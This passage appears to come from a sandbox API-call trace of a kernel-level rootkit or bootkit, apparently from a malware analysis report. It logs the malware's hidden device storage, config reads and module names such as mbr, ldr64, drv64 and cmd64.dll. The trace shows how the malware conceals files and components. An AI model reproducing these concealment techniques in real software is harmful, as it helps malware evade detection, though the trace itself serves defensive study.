out: FastMutex=0xfffffa80027d3898) [0122.525] KeLeaveCriticalRegion () [0122.525] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.525] KeEnterCriticalRegion () [0122.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.525] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.525] IdePortDispatch () returned 0x103 [0122.525] KeWaitForMutexObject () returned 0x0 [0122.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.525] KeLeaveCriticalRegion () [0122.525] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.525] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.526] KeEnterCriticalRegion () [0122.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caa000 [0122.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.526] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.526] IdePortDispatch () returned 0x103 [0122.526] KeWaitForMutexObject () returned 0x0 [0122.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.526] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.526] IdePortDispatch () returned 0x103 [0122.526] KeWaitForMutexObject () returned 0x0 [0122.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.526] KeLeaveCriticalRegion () [0122.526] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.527] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.527] KeEnterCriticalRegion () [0122.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] KeLeaveCriticalRegion () [0122.527] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.527] KeEnterCriticalRegion () [0122.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.527] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] KeLeaveCriticalRegion () [0122.527] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.527] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.527] KeEnterCriticalRegion () [0122.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] ExFreePoolWithTag (P=0xfffffa8003bc3940, Tag=0x0) [0122.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] KeLeaveCriticalRegion () [0122.527] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.527] ReleaseMutex (hMutex=0xf0) returned 1 [0122.527] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.527] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.527] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.527] KeEnterCriticalRegion () [0122.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.527] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.527] IdePortDispatch () returned 0x103 [0122.527] KeWaitForMutexObject () returned 0x0 [0122.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.528] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.528] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.528] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.528] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.528] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6e60 [0122.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.528] KeLeaveCriticalRegion () [0122.528] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.528] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.528] KeEnterCriticalRegion () [0122.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.528] KeLeaveCriticalRegion () [0122.528] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.528] KeEnterCriticalRegion () [0122.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.528] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.528] IdePortDispatch () returned 0x103 [0122.528] KeWaitForMutexObject () returned 0x0 [0122.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.528] KeLeaveCriticalRegion () [0122.528] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.528] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.528] KeEnterCriticalRegion () [0122.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cab000 [0122.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.528] IdePortDispatch () returned 0x103 [0122.529] KeWaitForMutexObject () returned 0x0 [0122.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.529] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.529] IdePortDispatch () returned 0x103 [0122.529] KeWaitForMutexObject () returned 0x0 [0122.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.529] KeLeaveCriticalRegion () [0122.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.529] KeEnterCriticalRegion () [0122.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.530] KeLeaveCriticalRegion () [0122.530] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.530] KeEnterCriticalRegion () [0122.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.530] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.530] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.530] KeLeaveCriticalRegion () [0122.530] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.530] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.530] KeEnterCriticalRegion () [0122.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.530] ExFreePoolWithTag (P=0xfffffa8003be6e60, Tag=0x0) [0122.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.530] KeLeaveCriticalRegion () [0122.530] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.530] ReleaseMutex (hMutex=0xf0) returned 1 [0122.530] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.530] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.530] KeEnterCriticalRegion () [0122.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.530] IdePortDispatch () returned 0x103 [0122.530] KeWaitForMutexObject () returned 0x0 [0122.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.530] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.530] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.530] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.530] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.531] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5290 [0122.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.531] KeLeaveCriticalRegion () [0122.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.531] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.531] KeEnterCriticalRegion () [0122.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.531] KeLeaveCriticalRegion () [0122.531] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.531] KeEnterCriticalRegion () [0122.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.531] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.531] IdePortDispatch () returned 0x103 [0122.531] KeWaitForMutexObject () returned 0x0 [0122.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.531] KeLeaveCriticalRegion () [0122.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.531] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.531] KeEnterCriticalRegion () [0122.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cac000 [0122.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.531] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.531] IdePortDispatch () returned 0x103 [0122.531] KeWaitForMutexObject () returned 0x0 [0122.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.532] IdePortDispatch () returned 0x103 [0122.532] KeWaitForMutexObject () returned 0x0 [0122.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.532] KeLeaveCriticalRegion () [0122.532] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.532] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.532] KeEnterCriticalRegion () [0122.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.532] KeLeaveCriticalRegion () [0122.532] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.533] KeEnterCriticalRegion () [0122.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.533] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.533] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.533] KeLeaveCriticalRegion () [0122.533] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.533] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.533] KeEnterCriticalRegion () [0122.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.533] ExFreePoolWithTag (P=0xfffffa8003be5290, Tag=0x0) [0122.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.533] KeLeaveCriticalRegion () [0122.533] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.533] ReleaseMutex (hMutex=0xf0) returned 1 [0122.533] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.533] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.533] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.533] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.533] KeEnterCriticalRegion () [0122.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.533] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.533] IdePortDispatch () returned 0x103 [0122.534] KeWaitForMutexObject () returned 0x0 [0122.534] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.534] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.534] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.534] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.534] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.534] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.534] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.534] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.534] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.534] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.534] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.534] KeLeaveCriticalRegion () [0122.534] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.534] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.534] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.534] KeEnterCriticalRegion () [0122.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.534] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.535] IdePortDispatch () returned 0x103 [0122.535] KeWaitForMutexObject () returned 0x0 [0122.535] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.535] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.535] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.535] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.535] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.535] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.535] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.535] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.535] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.535] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.535] _strnicmp (_Str1="", _Str="lsash.xp", 